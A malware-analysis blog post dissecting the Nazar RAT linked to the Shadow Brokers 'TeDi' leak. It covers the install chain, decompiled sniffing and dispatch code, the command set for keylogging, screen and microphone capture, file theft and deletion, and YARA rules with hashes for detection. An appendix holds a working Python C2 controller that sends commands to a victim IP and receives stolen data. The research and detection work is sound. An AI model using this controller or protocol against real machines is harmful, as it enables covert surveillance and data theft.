6:22 AM 11/7/2012 conficker still on target
6:18 AM 11/7/2012 checking logs - we are clean
8:16 PM 7/2/2012 - BOOM!, got the callback
Those were some of the words that the Equation Group (NSA) operators left in the records documenting their attacks against target systems, and which were later leaked by the Shadow Brokers. The plethora of information exposed in the fifth and last leak by the Shadow Brokers, called “Lost in Translation”, and the following consequences that took shape in WannaCry and NotPetya among other things, makes this a changing point in the game of cyber security as we know it.
Recently, security researcher Juan Andres Guerrero-Saade revealed a previously misidentified and unknown threat group, called Nazar, which was part of the last leak by the Shadow Brokers. In this research, we will expand upon the analysis done by Juan and another which was written by Maciej Kotowicz, and will provide an in-depth analysis of each of the Nazar components. But the real question is, do those new revelations add a missing piece to the puzzle, or do they show us how much of the puzzle we are missing?
While the “Lost in Translation” leak by the Shadow Brokers brought infamous exploits such as EternalBlue into the limelight, it contained many more valuable components that showed some of the possible precautions taken by the Equation Group operators before launching an attack.
For example, among the leaked files was one called “drv_list.txt“, which included a list of driver names and corresponding remarks that were sent back to the operators if the drivers were found on the target system. Naturally, the list contained many drivers that could detect the presence of an anti-virus product or a security solution (ourselves included):
But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”.
Similar to a scan conducted by a security product, “TeDi” consists of 45 signatures that are used to search the target system for registry keys or filenames associated with other threat groups. But we can assume that the end purpose in this case, unlike that of a security scan, is to make sure that Equation Group’s operations are not disrupted and that their own tools are not detected by other adversaries (or “other peeps”, as they are called in “TeDi”) monitoring the same system.
In certain cases, this also guarantees that the Equation Group themselves do not disrupt the ongoing operations of “friendly” threat groups, and do not attack the same target.
Extensive research work has been done by CrySys Labs in 2018 to try and map each of the 45 signatures to the respective threat group it is meant to detect since no names were included in “TeDi” itself.
Despite the relatively scarce amount of information it contains, security researchers often revisit “TeDi” in an attempt to get a better understanding of threat groups that the Equation Group had visibility to back then, as some of which are still (to this day) unknown to the public.
Security researcher Juan Andres Guerrero-Saade has shown that the 37th signature in “TeDi” which looks for a file called “Godown.dll” points to what might be an Iranian threat group he dubbed “Nazar”, rather than a Chinese one as initially thought in the CrySys Lab report.
The beauty of the “TeDi” project is perhaps in its minimalism: the small number of signatures it contained gave the Equation Group the capability of detecting the activity of notorious threat groups that have eluded detection and managed to remain in the shadows for years: Turla, Duqu, Dark Hotel, and the list goes on. This is the result of what we can only estimate as years of intelligence and research work on the Equation Group’s part. Equipped with this knowledge we set out to find more about the mysterious newly discovered player included in this watchlist: Nazar.
Nazar’s activity is believed to have started somewhere around 2008, meaning that the group was active for at least four years, as the latest samples were created in 2012.
The CrySys Labs report pointed to a file possibly related to the 37th signature, which turned out to be an anti-virus signature database from 2015 that detected this unique Nazar artifact, “Godown.dll”. Surprisingly, the same signature contained names of the other artifacts that we have seen being used by the Nazar malware (and will explain in detail in the following sections), meaning that some security companies were already fully aware of this malicious activity back then, prior to the “TeDi” leak:
The initial binary that is executed in Nazar’s flow is gpUpdates.exe
. It is a Self-Extracting Archive (SFX) created by a program called “Zip 2 Secure EXE“. Upon execution, gpUpdates
writes three files to disk: Data.bin
, info
, and Distribute.exe
. Then, gpUpdates.exe
will start Distribute.exe
which operates as an installing component.
At the start, Distribute.exe
will read the other two files that were dropped by gpUpdates
: info
and Data.bin
. The Data.bin
file is a binary blob that contains multiple PE files that are concatenated in a sequence. The info
file is a very small file that contains a simple struct with the lengths of the PE files in Data.bin
. Distribute.exe
will read Data.bin
as a stream, file by file, in the order of file lengths as shown in info
.
The following table shows the files concatenated in Data.bin
against the lengths written in info
.
Data.bin (sequence of files) | info (lengths) |
---|---|
svchost.exe | 213504 |
Filesystem.dll | 262219 |
ViewScreen.dll | 196608 |
lame_enc.dll | 162304 |
hodll.dll | 57344 |
Godown.dll | 32768 |
After the aforementioned files are dropped to the disk, Distribute.exe
will register 3 of the DLL files to the registry, by using regsvr32
.
ShellExecuteA(0, "open", "regsvr32.exe", "Godown.dll -s", 0, 0); ShellExecuteA(0, "open", "regsvr32.exe", "ViewScreen.dll -s", 0, 0); ShellExecuteA(0, "open", "regsvr32.exe", "Filesystem.dll -s", 0, 0);
Afterwards, it uses CreateServiceA
to add svchost.exe
as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker.
This service is the main component in the attack, and it orchestrates the entire modules dropped and loaded by Nazar. In a sense, the EYService
is only a marionette controlled by a puppeteer that sends commands to it. The communication protocol will be thoroughly explained in later parts of this blog post. As commonly seen in RAT-like components, this service mainly contains a list of supported commands, and each of these commands is assigned with a function to handle it upon a request from the attacker. The full list of commands is listed below.
As other components in Nazar, this module also does not demonstrate novel techniques or high-quality of written code. In fact, this module, like the others, is mostly based on open-source libraries that were commonly available at the time. To manage traffic and sniff packets, Nazar uses Microolap‘s Packet Sniffer SDK. To record the victim’s microphone it uses “Lame” Mp3 encoding library. For keylogging it uses KeyDLL3. BMGLib is used to take screenshots, and even for shutting down the computer, it uses an open-source project – The ShutDown Alarm.
When analyzing the networking component, the main thing we looked for was the IP of the command and control, since this could open up new paths, and perhaps recent attacks and samples. Alas, leaving no stone unturned, we could not find such an IP, and it made sense due to how Nazar is communicating.
Upon execution of the service, it begins with setting up the packet sniffing. This is done by using the Packet Sniffer SDK, in pretty much a textbook way. The main thread gets an outward-facing network adapter and uses BPF to make sure only UDP packets are forwarded to the handler.
DWORD __stdcall main_thread(LPVOID lpThreadParameter) { HANDLE hMgr; // edi HANDLE hCfg; // esi HANDLE hFtr; // edi hMgr = MgrCreate(); MgrInitialize(hMgr); hCfg = MgrGetFirstAdapterCfg(hMgr); do { if ( !AdpCfgGetAccessibleState(hCfg) ) break; hCfg = MgrGetNextAdapterCfg(hMgr, hCfg); } while ( hCfg ); ADP_struct = AdpCreate(); AdpSetConfig(ADP_struct, hCfg); if ( !AdpOpenAdapter(ADP_struct) ) { AdpGetConnectStatus(ADP_struct); MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg); adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); AdpCfgGetMACAddress(hCfg, &mac_address, 6); hFtr = BpfCreate(); BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF); BpfAddCmd(hFtr, BPF_RET, 0); AdpSetUserFilter(ADP_struct, hFtr); AdpSetUserFilterActive(ADP_struct, 1); AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0); AdpSetMacFilter(ADP_struct, 2); while ( 1 ) { if ( stop_and_ping == 1 ) { adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); connection_method(2); stop_and_ping = 0; } Sleep(1000u); } } return 0; }
Whenever a UDP packet arrives, its source IP is recorded to be used in the next response, whether or not there will be a response. Then, the packet’s destination port will be checked, and in case it is 1234 the UDP data will be forwarded to the command dispatcher.
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) { int length; // edi length = HIBYTE(udp_packet->length) - 8; ntohs(udp_packet->src_port); if ( ntohs(udp_packet->dst_port) != 1234 ) return 0; commandDispatcher(&udp_packet[1], src_ip, ip_id, length); return 1; }
Types of responses
Each response will have its packet built from scratch, so it could be sent using PSSDK’s send methods : AdpAsyncSend/AdpSyncSend
There are 3 types of responses:
4000
and payload 101;0000
4000
and payload 100;<Computer Name>;<OS name>
---<size_of_file>
The UDP destination port will be the little-endian value of the IP identification field in the request message. For example, If the server sent a packet (to destination port 1234) with identification 0x3456
,the malware will send its response with destination port 0x5634
To make the options clearer, and to demonstrate how Nazar communicates, we have created a python script that can “play” the server controlled by the attacker, and communicate with the victim. The script is available in Appendix C.
As we mentioned earlier, svchost.exe
, or the service named EYService
, contains a list of supported commands. We analyzed two versions of the RAT and found slight differences. The entire list of supported commands, in addition to our analysis notes, are presented in the table below.
Command ID | Description |
---|---|
311 | Enable keylogger by loading the ‘hodll.dll’ library to memory and manually importing the ‘installhook’ function. The keystrokes are saved with the window name to ‘report.txt’. The written content is then sent to the server. The keylogger is based on common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph). Command 312 will disable the keylogger. |
139 | Shutdown the machine. The command is interacting with the Godown.dll component by spawning it based on its RCLSID and RIID. The Godown module was probably based on an open-source implementation called The ShutDown Alarm. |
189 | Start screen capturing. The function calls the benign ViewScreen.dll and instructs it to save screenshots in a PNG file named z.png . The file is then sent to the server. The module is based on a known open-source project named “BMGLib“, written by M. Scott Heiman. Command 313 will disable the screen capturing. |
119 | Responsible for recording audio using the victim’s Microphone. The recording is saved to music.mp3 and sent to the server. The implementation is based on an open-source project which uses a known open source library called “LAME MP3“. Command 315 will disable the voice recording. |
199 | List all drives in the PC (C:\, D:\, …) and save it to Drives.txt . The file is then sent to the server. This functionality exists as-is in Filesystem.dll but the newer variant of svchost.exe does not use the DLL, even though it is still dropped to the machine. |
200 | List all the files and folders in the system and saves it to Files.txt . The files and folder are separated with ;File; or ;Folder; . This functionality exists as-is in Filesystem.dll but the newer variant of svchost.exe does not use the DLL, even though it is still dropped to the machine. |
201 | Sends file content to the server. |
209 | Remove a file from the machine. |
499 | List program by enumerating the keys found in the following registry path: Software\Microsoft\Windows\CurrentVersion\Uninstall . The program names are then saved to a file called Programs.txt and sent to the server. |
599 | List all the devices on the machine and save it to a file named ‘Devices.txt’ which is then sent to the server. The devices are separated with either ‘;Root;’ or ‘;Child;’. |
999 | Sends 101;0000 back to the server in port 4000 . |
555 | Sends Computer information: 100;Computer Name; OS Name back to the server in port 4000 . |
315 | Disable voice recording. |
312 | Disable keylogging. |
313 | Disable screen capturing. |
666 | Pretty much NOP. Will set a flag that is also set by 119 and 189 and will be unset when sending a file. However, it is never checked. |
211 | Registers Godown.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe |
212 | Registers ViewScreen.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe |
213 | Registers Filesystem.dll using regsvr32 This command was included in svchost.exe versions from 2010 but was then removed, and the module registration moved to Distrbute.exe |
Godown.dll
is the DLL which is in the spotlight of SIG37, and the one that started this manhunt after the unknown malware. Before it was caught by law-abiding security analysts, one could imagine Godown.dll
to be the mastermind behind this whole operation, the component to control them all, some hidden gem, or an unseen rose. In reality, Godown.dll
is a tiny DLL with one and only goal – to shut down the computer. Believe us, we tried hard to find any hidden or mysterious functionality inside the binary, but nothing was there, except a shutdown command. The reasons to take 5 lines of C code and place them in a DLL, put it in Data.bin
, drop it to the disk, register it as a COM DLL using regsvr32
and then call it indirectly using GUID – are beyond our understanding. But well, it was good enough of a lead to revealing Nazar, and for that, we should be thankful.
Out of all the modules used in this attack, Filesystem.dll
might be the only one whose code was actually written by the attackers themselves. The purpose of this module is to enumerate drives, folders and files on the infected system and write the final results to two text files: Drives.txt
and Files.txt
.
We were able to get our hands on two versions of this module that were created a year apart, both of which included PDB paths that mentioned a folder with the Persian name Khzer (or خضر):
C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb
Upon closer inspection, there are some differences between the two paths: One starts with the C:\\
partition while the other starts with D:\\
, one uses Khzer
(uppercase) while the other uses khzer
(lowercase), and so on. This might indicate that the two versions of the module were not compiled in the same environment, and is further strengthened by some of the included headers’ paths, which show that Visual Studio was installed in two different locations:
But these are not the only differences between the two versions: while the Filesystem.dll
module was dropped by all the known variants of gpUpdates.exe
, it was not always used in the same manner.
For example, versions of svchost.exe
dating back to 2010 have three commands that have since been omitted: “211”, “212”, and “213”. Those commands allow svchost.exe
to register the dropped DLL modules using regsvr32
, a functionality that was later migrated to Distribute.exe
(as described in the Execution Flow section above).
Then, when a command is received by the C2 to collect the files and drives on the system, the Filesystem.dll module is called after it was registered:
On the other hand, a more recent version of svchost.exe that was created in 2012 replicates the file and drive lookup functionalities found in Filesystem.dll when receiving the “199” and “200” commands from the C2, and performs the search itself. Therefore, even though it is still dropped in this case, it appears that the Filesystem.dll module is not used in the newer versions of Nazar:
The hodll.dll
module is responsible for recording the user’s keystrokes. It is done, as most keyloggers do, by setting a Windows hook for keyboard inputs. While there are many implementations of keyloggers available, we believe that this implementation is based on one or more open-source projects. Specifically, we believe that the code was taken from common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph) or by a fork of these projects, as many are available. In fact, the samples of hodll.dll
we put our hands on, looked like they were built from different layers of open source projects. In a way, it looked like someone copied code from the internet, and then deleted it partially, and took other code, and deleted it as well, and so on. The final result contained evolutionary pieces from multiple layers of code.
This DLL is based on a known open-source project named “BMGLib” and it is used to take screenshots of the victim’s computer. No major changes, if any, were added to the original source, and this is yet another example of how the Nazar malware uses an entire library just for a small task.
In this article, we tried to gather all the information we learned about Nazar since its recent exposure. We dived deep into each and every one of the components and tried to solve as many mysteries as possible. The leaked information by the Shadow Brokers taught us that the NSA knew about Nazar for many years, and thanks to other researchers, the community was able to strikethrough another unknown malware family from the list of signatures in “TeDi”.
Many of the signatures in “TeDi” described advanced and novel malware families, but this does not appear to be the case with Nazar. As we have shown in the article, the quality of the code, as well as the heavy usage of open source libraries, does not match the profile of a shrewd threat actor. And although we tried to cover everything, there are still many unanswered questions surrounding those discoveries: What happened to the Nazar group, did they evolve into other groups that are nowadays known under different names? Are they still active? Are there more samples out there? With those questions and others on our minds, we cannot help but leave this open-ended.
In his blog post, Juan published Yara rules to ease detection. The rules are well written and cover the different components. We want to share some rules we created during our analysis, to add to the existing rules.
rule apt_nazar_svchost_commands { meta: description = "Detect Nazar's svchost based on supported commands" author = "Itay Cohen" date = "2020-04-26" reference = "<https://www.epicturla.com/blog/the-lost-nazar>" hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728" strings: $str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 } $str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 } $str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 } $str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 } $str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 } condition: 4 of them } rule apt_nazar_component_guids { meta: description = "Detect Nazar Components by COM Objects' GUID" author = "Itay Cohen" date = "2020-04-27" reference = "<https://www.epicturla.com/blog/the-lost-nazar>" hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f" hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390" hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e" hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6" hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8" hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca" hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6" hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec" hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b" hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728" hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65" hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61" hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3" strings: $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll condition: any of them }
File | Sha-256 |
---|---|
gpUpdates.exe | 4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65 eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3 |
Data.bin | d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61 75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6 2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e |
Distribute.exe | 839c3e6ba65e5d07a2e0c4dd4a2c0d7ae95a266431dd3f8971b8a37d17b1ddf6 6b8ea9a156d495ec089710710ce3f4b1e19251c1d0e5b2c21bbeeab05e7b331f |
Filesystem.dll | 1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390 460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8 1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f |
Hodll.dll | 0c09fedc5c74f90883cd3256a181d03e4376d13676c1fe266dbd04778a929198 |
Godown.dll | 967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b 8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec |
svchost.exe | 2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6 be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728 |
ViewScreen.dll (benign) | 5a924dec60c623cf73f5b8505e11512ad85e62ac571a840ab0ff48d4a04b60de |
pssdk41.sys (benign) | 048208864c793a670159723b38c3ea1474ccc62e06b90833bdf1683b8026e12f |
lame_enc.dll (benign) | c84100d52c09703e32951444bd7ba4e22c5d41193e7420aacbbc1f736f4c4e1f 0091e2101f00751c4020ef8e115cfe12a284c9abacc886f549b40a62574a7510 |
from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 # 4000 is the usual port without sending files, but we use it for everything, because why not? SERVER_PORT = 4000 # We want to make sure the ID has the little endian of it ID = struct.unpack('>H',struct.pack('<H',4000))[0] def get_response(sock, should_loop): started = False total_payload = b'' while(should_loop or not started): try: payload, client_address = sock.recvfrom(4096) except ConnectionResetError: payload, client_address = sock.recvfrom(4096) total_payload += payload # Good enough stop condition if (len(payload) >= 4 and payload[:3] == b'---' and payload[4] >= ord('0') and payload[4] <= ord('9')): should_loop = False started = True hexdump.hexdump(total_payload) MENU = """Welcome to NAZAR. Please choose: 999 - Get a ping from the victim. 555 - Get information on the victim's machine. 311 - Start keylogging (312 to disable). 139 - Shutdown victim's machine. 189 - Screenshot (313 to disable). 119 - Record audio from Microphone (315 to disable). 199 - List drives. 200 - List recursivley from directory*. 201 - Send a file*. 209 - Remove file*. 599 - List devices. * (append a path, use double-backslashes) quit to Quit, help for this menu. """ def get_message(): while True: curr_message = input('> ').strip() if 'quit' in curr_message: return None if 'help' in curr_message: print(MENU) else: return curr_message def get_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_address = '0.0.0.0' server = (server_address, SERVER_PORT) sock.bind(server) return sock def main(ip_addr): sock = get_sock() print(MENU) multi_packets = ["200","201", "119", "189", "311", "199", "599"] single_packets = ["999", "555"] all_commands = single_packets + multi_packets while True: curr_message = get_message() if not curr_message: break # Send message using scapy # Make sure the IP identification field is little endian of the port. sr1( IP(dst=ip_addr, id=ID)/ UDP(sport=SERVER_PORT,dport=1234)/ Raw(load=curr_message), verbose=0 ) command = curr_message[:3] if command not in all_commands: continue should_loop = command in multi_packets get_response(sock, should_loop) if __name__ == '__main__': parser = argparse.ArgumentParser(description="victim's IP") parser.add_argument('ip') args = parser.parse_args() main(args.ip)